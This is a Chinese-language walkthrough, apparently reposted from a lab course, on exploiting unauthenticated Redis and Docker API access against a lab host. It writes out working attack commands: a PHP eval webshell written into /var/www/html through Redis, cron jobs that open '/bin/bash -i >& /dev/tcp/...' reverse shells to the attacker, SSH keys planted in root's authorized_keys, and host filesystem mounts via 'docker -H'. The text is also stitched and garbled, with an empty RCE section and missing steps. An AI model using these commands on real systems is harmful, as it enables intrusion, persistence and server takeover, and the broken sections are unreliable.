14-未授权漏洞利用

   日期:2024-12-27    作者:hhc63 移动:http://ljhr2012.riyuangf.com/mobile/quote/58520.html

  1. 通过nmap进行端口扫描,发现如下端口开放
    22端口:ssh远程登录
    80端口:http网站服务
    6379端口:redis服务
  1. 目标机器存在6379即Redis服务,尝试测试是否存在Redis未授权漏洞

首先下载Redis客户端连接工具(工具包里,解压后进入Redis目录,然后通过make进行编译,即可使用Redis-cli尝试连接Redis服务器

tar -zxf redis-6.0.3.tar.gz

cd redis-6.0.3

编译后redis-cli默认生成在src目录,进入src目录,将redis-cli复制到 /usr/bin 目录即可以在终端的任意目录下执行redis-cli

cd src/

cp redis-cli /usr/bin

cd …/…/

redis-cli -h 10.1.1.200 -p 6379

-p:指定redis服务器端口

info:打印系统信息,如Redis的版本、目标系统版本、系统架构等

1. Redis未授权写webshell

1)通过redis数据备份功能结合WEB服务,往WEB网站根目录写入一句话木马,从而得到WEB网站权限

要把一句话写入网站根目录,有两个前提条件,第一知道目标网站根目录绝对路径第二对目标网站根目录有写入权限,通过对前面phpinfo页面的信息收集,我们可以知道目标网站根目录绝对路径为:/var/www/html

通过执行如下命令写入一句话木马到网站根目录

redis-cli -h 10.1.1.200 -p 6379 #连接redis服务器

config set dir /var/www/html #设置数据库备份文件的放置路径

config set dbfilename shell.php #设置备份文件的文件名

set x “<?php @eval($_POST['test']);?>” #添加一个键”x”,值为一句话木马

save #保存

set x “ <?php @eval($_POST['cmd']);?> ”

解释:” ” 表示换行,用Redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

2.Redis未授权写定时任务反弹shell

1)Kali使用nc开启监听,kali终端下执行如下命令

nc -lvvp 4433

2.)执行如下命令写定时任务

redis-cli -h 10.1.1.200 -p 6379 #连接目标redis服务

set xx “ */1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1 ”

#设置写入的内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,每分钟执行一次/bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1

config set dir /var/spool/cron #设置备份路径

config set dbfilename root #设置备份文件名

3.Redis未授权写SSH公钥获得shell

攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,如果运行 Redis的用户是 root 用户,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以无需密码直接登录目标服务器。

1)生成公钥,默认情况下,生成在用户家目录下的 .ssh 目录下

(echo -e “ ”; cat ~/.ssh/id_rsa.pub; echo -e “ ”) > /tmp/foo.txt

3)将foo.txt写靶机(使用redis-cli -h ip命令连接靶机,写入文件

4)连接Redis

redis-cli -h 10.1.1.200 -p 6379

5)设置备份文件路径

config set dir /root/.ssh/

6)设置上传公钥的备份文件名字为authorized_keys

config set dbfilename “authorized_keys”

7)远程连接目标机器

ssh root@10.1.1.200 -i /root/.ssh/id_rsa

4.主从复制RCE

 
 
 

1. 通过nmap对目标进行信息收集,发现如下端口开放

22端口:ssh默认端口

  1. 使用docker命令连接目标机器

1)通过docker client使用-H参数连接目标主机的docker,并使用ps -a命令查询目标系统运行的所有容器

docker -H tcp://10.1.1.200 ps -a #列出所有容器

2. 进入容器的方法一

3. 进入容器的方法二

  1. 新运行一个容器并将entrypoint设置为/bin/bash或者/bin/sh,挂载点设置为服务器的根目录挂载至/mnt目录下(需要root权限启动docker

注意:docker run只在第一次运行时使用,将镜像放到容器中,以后再次启动这个容器时,只需要使用命令docker start 即可。

dockerrun相当于执行了两步操作:将镜像放入容器中(docker create),然后将容器启动(docker start)。

4.docker未授权写ssh公钥获得shell

1)启动一个容器,挂载宿主机的/mnt目录(上一步骤已挂载,之后将攻击者的ssh公钥~/.ssh/id_rsa.pub的内容写到入宿主机的/root/.ssh/authorized_keys文件中,之后就可以用root账户直接登录了。

'>'这个代表的意思为覆盖,>>代表为追加

此处的路径为之前所挂载的路径,如果挂载root路径那就为/root/root/.ssh

写入后即可通过ssh进行连接,获取宿主机的shell

5. docker未授权写定时任务获得shell

1)启动一个容器,挂载宿主机的目录(此前已挂载,之后将反弹shell的脚本写入到中,攻击机会得到一个反弹的shell。

将反弹shell的脚本写入到/var/spool/cron/root(centos系统)或/var/spool/cron/crontabs/root(ubuntu系统)

2)Kali开启监听

3)写入反弹shell的脚本

*****为定时任务 此处为每分钟执行一次 /bin/bash -i >& /dev/tcp/10.1.1.101/1231 0>&1

4)获得目标shell


特别提示:本信息由相关用户自行提供,真实性未证实,仅供参考。请谨慎采用,风险自负。


举报收藏 0评论 0
0相关评论
相关最新动态
推荐最新动态
点击排行
{
网站首页  |  关于我们  |  联系方式  |  使用协议  |  隐私政策  |  版权隐私  |  网站地图  |  排名推广  |  广告服务  |  积分换礼  |  网站留言  |  RSS订阅  |  违规举报  |  鄂ICP备2020018471号